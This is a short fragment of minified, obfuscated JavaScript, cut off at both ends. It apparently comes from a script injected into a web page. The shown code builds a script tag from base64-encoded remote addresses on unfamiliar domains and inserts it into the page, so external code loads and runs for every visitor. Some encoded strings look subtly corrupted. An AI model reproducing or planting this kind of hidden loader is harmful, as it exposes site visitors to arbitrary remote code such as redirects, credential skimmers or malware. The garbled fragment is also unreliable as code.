s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1wemx2cS5jbiUzQQTg4OTE=','aHR0cHMllM0EllMkYllMkZhLnllra2hqcy5jbiUzQTk1MzU=','168322',window,document,['Q','l']);}:function(){};